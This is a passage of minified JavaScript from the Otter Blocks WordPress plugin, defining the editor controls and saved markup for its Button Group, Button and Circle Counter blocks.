0!==l?l:"left",options:[{icon:D.Z,label:(0,o.__)("Left","otter-blocks"),value:"left"},{icon:G.Z,label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:j.Z,label:(0,o.__)("Right","otter-blocks"),value:"right"},{icon:ee.Z,label:(0,o.__)("Full","otter-blocks"),value:"full"}],onChange:t=>{var l;w(t,["align.desktop","align.tablet","align.mobile"],null!==(l=e.align)&&void 0!==l?l:{})},hasIcon:!0})),(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Button Size","otter-blocks")},(0,i.createElement)(oe.Z,{value:(()=>{const t=S([s(e.paddingTopBottom,e.paddingLeftRight),e.paddingTablet,e.paddingMobile]),{fontSize:l}=e;return(0,h.nG)([[r(t,l,"XS"),"XS"],[r(t,l,"S"),"S"],[r(t,l,"M"),"M"],[r(t,l,"L"),"L"],[r(t,l,"XL"),"XL"],["custom"]])})(),options:[{label:(0,o.__)("XS","otter-blocks"),value:"XS"},{label:(0,o.__)("S","otter-blocks"),value:"S"},{label:(0,o.__)("M","otter-blocks"),value:"M"},{label:(0,o.__)("L","otter-blocks"),value:"L"},{label:(0,o.__)("XL","otter-blocks"),value:"XL"},{label:(0,o.__)("","otter-blocks"),value:"custom",icon:te.Z}],onChange:e=>{if("custom"===e)return void d("style");const l={[S(["padding","paddingTablet","paddingMobile"])]:n[e].padding};t({fontSize:n[e].fontSize,paddingTopBottom:l?.padding?.top,paddingLeftRight:l?.padding?.right,paddingTablet:l?.paddingTablet,paddingMobile:l?.paddingMobile})}})),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Collapse On","otter-blocks"),value:e.collapse,options:[{label:(0,o.__)("None","otter-blocks"),value:"collapse-none"},{label:(0,o.__)("Desktop","otter-blocks"),value:"collapse-desktop"},{label:(0,o.__)("Tablet","otter-blocks"),value:"collapse-tablet"},{label:(0,o.__)("Mobile","otter-blocks"),value:"collapse-mobile"}],onChange:e=>t({collapse:e})}))),"style"===c&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks")},(0,i.createElement)(g.r4,{isSynced:m.isSynced,options:[{label:(0,o.__)("Padding","otter-blocks"),value:S(["padding","paddingTablet","paddingMobile"])},{label:(0,o.__)("Space between","otter-blocks"),value:"spacing"}],setAttributes:e=>{C(e),_(!0)}}),(0,i.createElement)(le.Z,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(ae,{attr:S(["padding","paddingTablet","paddingMobile"]),attributes:m},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:null!==(a=S([s(e.paddingTopBottom,e.paddingLeftRight),e.paddingTablet,e.paddingMobile]))&&void 0!==a?a:s("15px","20px"),onChange:e=>{x(e,["padding","paddingTablet","paddingMobile"]),_(!0)},splitOnAxis:!0}))),(0,i.createElement)(ae,{attr:"spacing",attributes:e},(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Space Between","otter-blocks"),value:(0,h.Yj)(e.spacing),onChange:e=>t({spacing:e}),step:.1}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Font Size","otter-blocks"),value:"fontSize"},{label:(0,o.__)("Font Family","otter-blocks"),value:"fontFamily"},{label:(0,o.__)("Appearance","otter-blocks"),value:"fontVariant"},{label:(0,o.__)("Letter Case","otter-blocks"),value:"fontStyle"},{label:(0,o.__)("Line Height","otter-blocks"),value:"lineHeight"}],setAttributes:t}),(0,i.createElement)($.Z,{enableComponents:{fontFamily:!0,appearance:!0,lineHeight:!0,letterCase:!0},componentsValue:{fontSize:e.fontSize,fontFamily:e.fontFamily,lineHeight:e.lineHeight,appearance:e.fontVariant,letterCase:e.fontStyle},onChange:e=>{t({fontSize:e.fontSize,fontFamily:e.fontFamily,lineHeight:e.lineHeight,fontVariant:e.appearance,fontStyle:e.letterCase})},showAsDisable:{fontSize:e.isSynced?.includes("fontSize"),fontFamily:e.isSynced?.includes("fontFamily"),appearance:e.isSynced?.includes("fontVariant"),lineHeight:e.isSynced?.includes("lineHeight"),letterCase:e.isSynced?.includes("fontStyle")}})))))},re=({attributes:e,setAttributes:t})=>{var l,a;const{responsiveSetAttributes:n,responsiveGetAttributes:r}=(0,k.Y)(t),s={left:D.Z,right:j.Z,center:G.Z,full:ee.Z};return(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(p.ToolbarGroup,null,(0,i.createElement)(p.DropdownMenu,{icon:s[null!==(l=r([null!==(a=e.align?.desktop)&&void 0!==a?a:e.align,e.align?.tablet,e.align?.mobile]))&&void 0!==l?l:"left"],label:(0,o.__)("Select tag","otter-blocks"),className:"components-toolbar",controls:[{icon:D.Z,title:(0,o.__)("Align Left","otter-blocks"),onClick:()=>{var t;return n("left",["align.desktop","align.tablet","align.mobile"],null!==(t=e.align)&&void 0!==t?t:{})}},{icon:G.Z,title:(0,o.__)("Align Center","otter-blocks"),onClick:()=>{var t;return n("center",["align.desktop","align.tablet","align.mobile"],null!==(t=e.align)&&void 0!==t?t:{})}},{icon:j.Z,title:(0,o.__)("Align Right","otter-blocks"),onClick:()=>{var t;return n("right",["align.desktop","align.tablet","align.mobile"],null!==(t=e.align)&&void 0!==t?t:{})}},{icon:ee.Z,title:(0,o.__)("Align Full","otter-blocks"),onClick:()=>{var t;return n("full",["align.desktop","align.tablet","align.mobile"],null!==(t=e.align)&&void 0!==t?t:{})}}]})))};const{attributes:ie}=K;const{name:se}=K;(0,a.registerBlockType)(se,{...K,title:(0,o.__)("Button Group","otter-blocks"),description:(0,o.__)("Prompt visitors to take action with a button group. Powered by Otter.","otter-blocks"),icon:r.buttonsIcon,keywords:["button","buttons","button group"],deprecated:Q,edit:({attributes:e,setAttributes:t,clientId:l,name:o})=>{var a,n,r,s;const{responsiveGetAttributes:m}=(0,k.Y)((()=>{}));(0,b.useEffect)((()=>{d.Z.attach();const t=(0,y.blockInit)(l,ie);return()=>t(e.id)}),[]);const p=(0,y.buildGetSyncValue)(o,e,ie),g={top:null!==(a=(0,h.Yj)(p("paddingTopBottom")))&&void 0!==a?a:"15px",bottom:null!==(n=(0,h.Yj)(p("paddingTopBottom")))&&void 0!==n?n:"15px",right:null!==(r=(0,h.Yj)(p("paddingLeftRight")))&&void 0!==r?r:"30px",left:null!==(s=(0,h.Yj)(p("paddingLeftRight")))&&void 0!==s?s:"30px"},f={"--spacing":(0,h.Yj)(p("spacing")),"--padding":(0,h.um)(m([g,p("paddingTablet"),p("paddingMobile")])),"--font-size":(0,h.Yj)(p("fontSize"))},v=["desktop","tablet","mobile"].filter((t=>e.align&&e.align[t])).map((t=>`align-${e.align[t]}-${t}`)),_=(0,u.useBlockProps)({id:e.id,className:c()("wp-block-buttons",{[`align-${e.align}`]:"string"==typeof e.align,collapse:m(["collapse-desktop","collapse-tablet","collapse-mobile"])===e.collapse},...v),style:f});return(0,b.useEffect)((()=>{p("fontFamily")&&d.Z.loadFontToBrowser(p("fontFamily"),p("fontVariant"))}),[e.fontFamily]),(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ne,{attributes:e,setAttributes:t}),(0,i.createElement)(re,{attributes:e,setAttributes:t}),(0,i.createElement)("style",null,`#block-${l} .wp-block-button :is(div, a, span).wp-block-button__link`+(0,h.iC)([["font-family",p("fontFamily")],["font-weight",p("fontVariant")],["font-style",p("fontStyle")],["text-transform",p("textTransform")],["line-height",(0,h.Yj)(p("lineHeight"))]]),`#block-${l} .wp-block-button .wp-block-button__link :is(svg, i, div)`+(0,h.iC)([["font-size",(0,h.Yj)(p("fontSize"))]])),(0,i.createElement)("div",{..._},(0,i.createElement)(u.InnerBlocks,{allowedBlocks:["themeisle-blocks/button"],__experimentalMoverDirection:"horizontal",orientation:"horizontal",template:[["themeisle-blocks/button"]],renderAppender:u.InnerBlocks.DefaultAppender})))},save:({attributes:e})=>{const t="collapse-none"!==e.collapse?e.collapse:"",l=["desktop","tablet","mobile"].reduce(((t,l)=>(e.align&&e.align[l]&&t.push(`align-${e.align[l]}-${l}`),t)),[]),o=u.useBlockProps.save({id:e.id,className:c()(t,"wp-block-buttons",{[`align-${e.align}`]:"string"==typeof e.align},...l)});return(0,i.createElement)("div",{...o},(0,i.createElement)(u.InnerBlocks.Content,null))},example:{attributes:{spacing:20},innerBlocks:[{name:"themeisle-blocks/button",attributes:{text:(0,o.__)("Button 1","otter-blocks")}},{name:"themeisle-blocks/button",attributes:{text:(0,o.__)("Button 2","otter-blocks")}}]}});var ce=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/button","title":"Button","category":"themeisle-blocks","description":"Prompt visitors to take action with a button group. Powered by Otter.","keywords":["button","buttons","button group"],"parent":["themeisle-blocks/button-group"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"text":{"type":"string","source":"html","selector":"span"},"link":{"type":"string","source":"attribute","selector":"a","attribute":"href"},"newTab":{"type":"boolean","default":false},"color":{"type":"string"},"background":{"type":"string"},"backgroundGradient":{"type":"string"},"border":{"type":"string"},"hoverColor":{"type":"string"},"hoverBackground":{"type":"string"},"hoverBackgroundGradient":{"type":"string"},"hoverBorder":{"type":"string"},"borderSize":{"type":["number","object"]},"borderRadius":{"type":["number","object"]},"boxShadow":{"type":"boolean","default":false},"boxShadowColor":{"type":"string"},"boxShadowColorOpacity":{"type":"number","default":50},"boxShadowBlur":{"type":"number","default":5},"boxShadowSpread":{"type":"number","default":1},"boxShadowHorizontal":{"type":"number","default":0},"boxShadowVertical":{"type":"number","default":0},"hoverBoxShadowColor":{"type":"string"},"hoverBoxShadowColorOpacity":{"type":"number","default":50},"hoverBoxShadowBlur":{"type":"number","default":5},"hoverBoxShadowSpread":{"type":"number","default":1},"hoverBoxShadowHorizontal":{"type":"number","default":0},"hoverBoxShadowVertical":{"type":"number","default":0},"iconType":{"type":"string","default":"none"},"library":{"type":"string","default":"fontawesome"},"prefix":{"type":"string"},"icon":{"type":"string"},"noFollow":{"type":"boolean","default":true},"isSynced":{"type":"array"}},"supports":{"reusable":false},"style":"wp-block-button"}'),de=l(8504),ue=({attributes:e,setAttributes:t,isSelected:l})=>(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(de.Z,{isSelected:l,setAttributes:t,url:e.link,opensInNewTab:e.newTab})),be=l(2136),me=l(1070);const pe=[{label:(0,o.__)("Fill","otter-blocks"),value:"fill",isDefault:!0},{label:(0,o.__)("Outline","otter-blocks"),value:"outline"},{label:(0,o.__)("Plain","otter-blocks"),value:"plain"}];var ge=({attributes:e,setAttributes:t})=>{const[l,a]=(0,b.useState)(!1),[n,r]=(0,b.useState)({isSynced:(0,A.uniq)(e.isSynced?.map((e=>e.includes("boxShadow")?"shadow":e))?.map((e=>e.includes("hoverBoxShadow")?"shadowHover":e)))}),[s,c]=(0,b.useState)(!1);(0,b.useEffect)((()=>{if(s){let{isSynced:l}=e;l=l?.filter((e=>!(e.includes("boxShadow")||e.includes("hoverBoxShadow")))),n.isSynced?.some((e=>"shadow"===e))&&(l=(0,A.uniq)([...l,"boxShadow","boxShadowColor","boxShadowColorOpacity","boxShadowBlur","boxShadowSpread","boxShadowHorizontal","boxShadowVertical"])),n.isSynced?.some((e=>"shadowHover"===e))&&(l=(0,A.uniq)([...l,"hoverBoxShadowColor","hoverBoxShadowColorOpacity","hoverBoxShadowBlur","hoverBoxShadowSpread","hoverBoxShadowHorizontal","hoverBoxShadowVertical"])),t({isSynced:l}),c(!1)}}),[n,s]);const d=()=>(0,i.createElement)(b.Fragment,null,(0,i.createElement)(g.Ik,{onChange:e=>a(e),value:l,options:[{value:!1,label:(0,o.__)("Normal","otter-blocks")},{value:!0,label:(0,o.__)("Hover","otter-blocks")}]}),(0,i.createElement)("br",null)),[m,k]=(0,y.useTabSwitch)(e.id,"settings");return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)("div",null,(0,i.createElement)(g.Hn,{value:m,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:k}),"settings"===m&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Link settings","otter-blocks"),initialOpen:!0},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Button URL","otter-blocks"),value:e.link,onChange:e=>t({link:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Open in new window","otter-blocks"),checked:e.newTab,onChange:()=>t({newTab:!Boolean(e.newTab)})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Add Nofollow","otter-blocks"),checked:e.noFollow,onChange:()=>t({noFollow:!Boolean(e.noFollow)})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Icon settings","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Icon Position","otter-blocks"),value:e.iconType,options:[{label:(0,o.__)("No Icon","otter-blocks"),value:"none"},{label:(0,o.__)("Left","otter-blocks"),value:"left"},{label:(0,o.__)("Right","otter-blocks"),value:"right"},{label:(0,o.__)("Icon Only","otter-blocks"),value:"only"}],onChange:l=>{const o="none"!==l&&void 0===e.icon?{prefix:"fas",icon:"chevron-right"}:{};t({iconType:l,...o})}}),"none"!==e.iconType&&(0,i.createElement)(me.Z,{label:(0,o.__)("Icon Picker","otter-blocks"),library:e.library,prefix:e.prefix,icon:e.icon,changeLibrary:e=>{t({library:e,icon:void 0,prefix:"fab"})},onChange:e=>{t("object"==typeof e?{icon:e.name,prefix:e.prefix}:{icon:e})}}))),"style"===m&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Style variations","otter-blocks")},(0,i.createElement)("p",null,(0,o.__)("Select a style","otter-blocks")),(0,i.createElement)(g.Ik,{value:(0,h.tB)(pe,e?.className),options:pe,onChange:l=>{const o=(0,h.L4)(e?.className,pe,l);t({className:o})}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Colors","otter-blocks")},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Color","otter-blocks"),value:"color"},{label:(0,o.__)("Background","otter-blocks"),value:"background"},{label:(0,o.__)("Border","otter-blocks"),value:"border"},{label:(0,o.__)("Hover Color","otter-blocks"),value:"hoverColor"},{label:(0,o.__)("Hover Background","otter-blocks"),value:"hoverBackground"},{label:(0,o.__)("Hover Border","otter-blocks"),value:"hoverBorder"}],setAttributes:t}),(0,i.createElement)(d,null),l?(0,i.createElement)(b.Fragment,{key:"with-hover"},(0,i.createElement)(ae,{attr:"hoverColor",attributes:e},(0,i.createElement)(g.Ed,{label:(0,o.__)("Text","otter-blocks"),colorValue:e.hoverColor,onColorChange:e=>t({hoverColor:e}),className:"is-list is-first"})),(0,i.createElement)(ae,{attr:"hoverBackground",attributes:e},(0,i.createElement)(g.Ed,{label:(0,o.__)("Background","otter-blocks"),colorValue:e.hoverBackground,gradientValue:e.hoverBackgroundGradient,onColorChange:e=>t({hoverBackground:e}),onGradientChange:e=>t({hoverBackgroundGradient:e}),className:"is-list"})),(0,i.createElement)(ae,{attr:"hoverBorder",attributes:e},(0,i.createElement)(g.Ed,{label:(0,o.__)("Border","otter-blocks"),colorValue:e.hoverBorder,onColorChange:e=>t({hoverBorder:e}),className:"is-list"}))):(0,i.createElement)(b.Fragment,{key:"without-hover"},(0,i.createElement)(ae,{attr:"color",attributes:e},(0,i.createElement)(g.Ed,{label:(0,o.__)("Text","otter-blocks"),colorValue:e.color,onColorChange:e=>t({color:e}),className:"is-list is-first"})),(0,i.createElement)(ae,{attr:"background",attributes:e},(0,i.createElement)(g.Ed,{label:(0,o.__)("Background","otter-blocks"),colorValue:e.background,gradientValue:e.backgroundGradient,onColorChange:e=>t({background:e}),onGradientChange:e=>t({backgroundGradient:e}),className:"is-list"})),(0,i.createElement)(ae,{attr:"border",attributes:e},(0,i.createElement)(g.Ed,{label:(0,o.__)("Border","otter-blocks"),colorValue:e.border,onColorChange:e=>t({border:e}),className:"is-list"})))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border & Box Shadow","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:n.isSynced,options:[{label:(0,o.__)("Border Width","otter-blocks"),value:"borderSize"},{label:(0,o.__)("Border Radius","otter-blocks"),value:"borderRadius"},{label:(0,o.__)("Shadow","otter-blocks"),value:"shadow"},{label:(0,o.__)("Shadow Hover","otter-blocks"),value:"shadowHover"}],setAttributes:e=>{r(e),c(!0)}}),(0,i.createElement)(ae,{attr:"borderSize",attributes:e},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Border Width","otter-blocks"),values:(0,h.Yw)(e.borderSize),onChange:e=>t({borderSize:e})})),(0,i.createElement)(ae,{attr:"borderRadius",attributes:e},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Border Radius","otter-blocks"),values:(0,h.Yw)(e.borderRadius),onChange:e=>t({borderRadius:e})})),(0,i.createElement)(be.Z,{label:(0,o.__)("Box Shadow","otter-blocks"),attributes:e,setAttributes:t,resetValues:{boxShadow:!1,boxShadowColor:void 0,boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColor:void 0,hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0},onClick:()=>t({boxShadow:!0})},(0,i.createElement)(d,null),l?(0,i.createElement)(b.Fragment,{key:"with-hover"},(0,i.createElement)(ae,{attr:"hoverBoxShadowColor",attributes:e},(0,i.createElement)(u.__experimentalColorGradientControl,{label:(0,o.__)("Shadow Color on Hover","otter-blocks"),colorValue:e.hoverBoxShadowColor,onColorChange:e=>t({hoverBoxShadowColor:e})})),(0,i.createElement)(ae,{attr:"hoverBoxShadowColorOpacity",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Opacity","otter-blocks"),value:e.hoverBoxShadowColorOpacity,onChange:e=>t({hoverBoxShadowColorOpacity:e}),min:0,max:100})),(0,i.createElement)(ae,{attr:"hoverBoxShadowBlur",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Blur","otter-blocks"),value:e.hoverBoxShadowBlur,onChange:e=>t({hoverBoxShadowBlur:e}),min:0,max:100})),(0,i.createElement)(ae,{attr:"boxShadowVertical",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("hoverBoxShadowSpread","otter-blocks"),value:e.hoverBoxShadowSpread,onChange:e=>t({hoverBoxShadowSpread:e}),min:-100,max:100})),(0,i.createElement)(ae,{attr:"hoverBoxShadowHorizontal",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Horizontal","otter-blocks"),value:e.hoverBoxShadowHorizontal,onChange:e=>t({hoverBoxShadowHorizontal:e}),min:-100,max:100})),(0,i.createElement)(ae,{attr:"hoverBoxShadowVertical",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Vertical","otter-blocks"),value:e.hoverBoxShadowVertical,onChange:e=>t({hoverBoxShadowVertical:e}),min:-100,max:100}))):(0,i.createElement)(b.Fragment,{key:"without-hover"},(0,i.createElement)(ae,{attr:"boxShadowColor",attributes:e},(0,i.createElement)(u.__experimentalColorGradientControl,{label:(0,o.__)("Shadow Color","otter-blocks"),colorValue:e.boxShadowColor,onColorChange:e=>t({boxShadowColor:e})})),(0,i.createElement)(ae,{attr:"boxShadowColorOpacity",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Opacity","otter-blocks"),value:e.boxShadowColorOpacity,onChange:e=>t({boxShadowColorOpacity:e}),min:0,max:100})),(0,i.createElement)(ae,{attr:"boxShadowBlur",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Blur","otter-blocks"),value:e.boxShadowBlur,onChange:e=>t({boxShadowBlur:e}),min:0,max:100})),(0,i.createElement)(ae,{attr:"boxShadowSpread",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Spread","otter-blocks"),value:e.boxShadowSpread,onChange:e=>t({boxShadowSpread:e}),min:-100,max:100})),(0,i.createElement)(ae,{attr:"boxShadowHorizontal",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Horizontal","otter-blocks"),value:e.boxShadowHorizontal,onChange:e=>t({boxShadowHorizontal:e}),min:-100,max:100})),(0,i.createElement)(ae,{attr:"boxShadowVertical",attributes:e},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Vertical","otter-blocks"),value:e.boxShadowVertical,onChange:e=>t({boxShadowVertical:e}),min:-100,max:100}))))))))},he=l(48);const{attributes:ke}=ce;const{name:ye}=ce;(0,a.registerBlockType)(ye,{...ce,title:(0,o.__)("Button","otter-blocks"),description:(0,o.__)("Prompt visitors to take action with a button group. Powered by Otter.","otter-blocks"),icon:r.buttonIcon,keywords:["button","buttons","button group"],edit:e=>{const{attributes:t,setAttributes:l,isSelected:a,clientId:n,name:r}=e,s=(0,y.buildGetSyncValue)(r,t,ke);(0,b.useEffect)((()=>{const e=(0,y.blockInit)(n,ke);return()=>e(t.id)}),[]);const d=he.ZP.icons[t.icon],m=(0,u.useBlockProps)({id:t.id,className:c()("wp-block-button")});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ue,{attributes:t,setAttributes:l,isSelected:a}),(0,i.createElement)(ge,{attributes:t,setAttributes:l}),(0,i.createElement)("div",{...m},(0,i.createElement)("style",null,`.wp-block-themeisle-blocks-button-group #block-${n}.wp-block-button :is(div, a, span).wp-block-button__link`+(0,h.iC)([["border-color",s("border")],["border-width",(0,h.um)((0,h.Yw)(s("borderSize"))),Boolean(s("borderSize"))],["border-radius",(0,h.um)((0,h.Yw)(s("borderRadius"))),Boolean(s("borderRadius"))],["border-style","solid",Boolean(s("borderSize"))]]),`.wp-block-themeisle-blocks-button-group #block-${n}.wp-block-button :is(div, a, span).wp-block-button__link:not(:hover)`+(0,h.iC)([["background",s("background")],["background",s("backgroundGradient")],["box-shadow",`${s("boxShadowHorizontal")}px ${s("boxShadowVertical")}px ${s("boxShadowBlur")}px ${s("boxShadowSpread")}px ${O()(s("boxShadowColor")?s("boxShadowColor"):"#000000",s("boxShadowColorOpacity"))}`,Boolean(s("boxShadow"))],["color",s("color")]]),`.wp-block-themeisle-blocks-button-group #block-${n}.wp-block-button .wp-block-button__link:hover`+(0,h.iC)([["background",s("hoverBackground")],["background",s("hoverBackgroundGradient")],["border-color",s("hoverBorder")],["box-shadow",`${s("hoverBoxShadowHorizontal")}px ${s("hoverBoxShadowVertical")}px ${s("hoverBoxShadowBlur")}px ${s("hoverBoxShadowSpread")}px ${O()(s("hoverBoxShadowColor")?s("hoverBoxShadowColor"):"#000000",Boolean(s("hoverBoxShadowColorOpacity")))}`,Boolean(s("boxShadow"))],["color",s("hoverColor")]]),`.wp-block-themeisle-blocks-button-group #block-${n}.wp-block-button .wp-block-button__link :is(svg, i, div)`+(0,h.iC)([["color",s("color")],["fill",s("color")]]),`.wp-block-themeisle-blocks-button-group #block-${n}.wp-block-button .wp-block-button__link:hover :is(svg, i, div, a)`+(0,h.iC)([["fill",s("hoverColor")]])),"none"!==t.iconType?(0,i.createElement)("a",{className:"wp-block-button__link"},("left"===t.iconType||"only"===t.iconType)&&("themeisle-icons"===t.library&&t.icon?(0,i.createElement)(d,{className:c()({"margin-right":"left"===t.iconType})}):(0,i.createElement)("i",{className:c()(t.prefix,"fa-fw",`fa-${t.icon}`,{"margin-right":"left"===t.iconType})})),"only"!==t.iconType&&(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Add text…","otter-blocks"),value:t.text,onChange:e=>l({text:e}),tagName:"span",withoutInteractiveFormatting:!0}),"right"===t.iconType&&("themeisle-icons"===t.library&&t.icon?(0,i.createElement)(d,{className:"margin-left"}):(0,i.createElement)("i",{className:`${t.prefix} fa-fw fa-${t.icon} margin-left`}))):(0,i.createElement)("a",{className:"wp-block-button__link"},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Add text…","otter-blocks"),value:t.text,onChange:e=>l({text:e}),tagName:"span",withoutInteractiveFormatting:!0}))))},save:({attributes:e})=>{const t=he.ZP.icons[e.icon],l=u.useBlockProps.save({id:e.id,className:"wp-block-button"});return(0,i.createElement)("div",{...l},(0,i.createElement)("a",{href:e.link,target:e.newTab?"_blank":"_self",rel:e.noFollow?"noopener noreferrer":"noopener",className:"wp-block-button__link"},("left"===e.iconType||"only"===e.iconType)&&("themeisle-icons"===e.library&&e.icon?(0,i.createElement)(t,{className:c()({"margin-right":"left"===e.iconType})}):(0,i.createElement)("i",{className:c()(e.prefix,"fa-fw",`fa-${e.icon}`,{"margin-right":"left"===e.iconType})})),"only"!==e.iconType&&(0,i.createElement)(u.RichText.Content,{tagName:"span",value:e.text}),"right"===e.iconType&&("themeisle-icons"===e.library&&e.icon?(0,i.createElement)(t,{className:"margin-left"}):(0,i.createElement)("i",{className:`${e.prefix} fa-fw fa-${e.icon} margin-left`}))))},example:{attributes:{}}});var fe=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/circle-counter","title":"Circle Counter","category":"themeisle-blocks","description":"Show your progress with a beautiful Circle Counter block. Powered by Otter.","keywords":["progress","circle","counter"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"title":{"type":"string","default":"Skill"},"percentage":{"type":"number","default":50},"duration":{"type":"number","default":2},"titleStyle":{"type":"string","default":"default"},"height":{"type":"number","default":100},"fontSizeTitle":{"type":"number"},"fontSizePercent":{"type":"number"},"strokeWidth":{"type":"number","default":10},"backgroundColor":{"type":"string"},"progressColor":{"type":"string"},"titleColor":{"type":"string"}},"editorStyle":"otter-circle-counter-editor","style":"otter-circle-counter-style","script":"otter-circle-counter"}'),ve=({attributes:e,setAttributes:t})=>{const[l,a]=(0,y.useTabSwitch)(e.id,"settings");return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:l,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:a}),(0,i.createElement)("div",null,"settings"===l&&(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Options","otter-blocks")},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),value:e.title,onChange:e=>t({title:e})}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Percentage","otter-blocks"),help:(0,o.__)("The value of the counter.","otter-blocks"),value:e.percentage,onChange:e=>{void 0!==e&&(e=(0,A.clamp)(e,0,100),t({percentage:e}))},min:0,max:100})),"style"===l&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Title","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Display the Title","otter-blocks"),checked:"hide"!==e.titleStyle,onChange:()=>t({titleStyle:"hide"!==e.titleStyle?"hide":"default"})}),"hide"!==e.titleStyle&&(0,i.createElement)(p.__experimentalToggleGroupControl,{label:(0,o.__)("Position","otter-blocks"),value:e.titleStyle,onChange:e=>t({titleStyle:e}),isBlock:!0},(0,i.createElement)(p.__experimentalToggleGroupControlOption,{value:"default",label:(0,o.__)("Top","otter-blocks")}),(0,i.createElement)(p.__experimentalToggleGroupControlOption,{value:"bottom",label:(0,o.__)("Bottom","otter-blocks")}))),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),colorSettings:[{value:e.titleColor,onChange:e=>t({titleColor:e}),label:(0,o.__)("Title Color","otter-blocks")},{value:e.progressColor,onChange:e=>t({progressColor:e}),label:(0,o.__)("Progress Color","otter-blocks")},{value:e.backgroundColor,onChange:e=>t({backgroundColor:e}),label:(0,o.__)("Background Color","otter-blocks")}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions and Motion","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Height","otter-blocks"),help:(0,o.__)("The height of the circle counter.","otter-blocks"),value:e.height,onChange:e=>t({height:e}),min:20,max:240}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Circle Thickness","otter-blocks"),help:(0,o.__)("Change the thickness (stroke width) of the circle.","otter-blocks"),value:e.strokeWidth,onChange:e=>t({strokeWidth:e}),initialPosition:10,min:0,max:20}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Duration","otter-blocks"),help:(0,o.__)("The duration of the animation.","otter-blocks"),value:e.duration,onChange:e=>{void 0!==e&&(e=(0,A.clamp)(e,0,3),t({duration:e}))},min:0,max:3})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Font Size Title","otter-blocks"),help:(0,o.__)("Change the font size of the title.","otter-blocks"),value:e.fontSizeTitle,onChange:e=>t({fontSizeTitle:e}),initialPosition:37,min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Font Size Percent","otter-blocks"),help:(0,o.__)("Change the font size of the inner text.","otter-blocks"),value:e.fontSizePercent,onChange:e=>t({fontSizePercent:e}),initialPosition:27,min:0,max:80})))))},_e=({attributes:e,progressRef:t,valueRef:l})=>{const o=e.height,a=o/2,n=o/2-e.strokeWidth/2,r=2*Math.PI*n;return 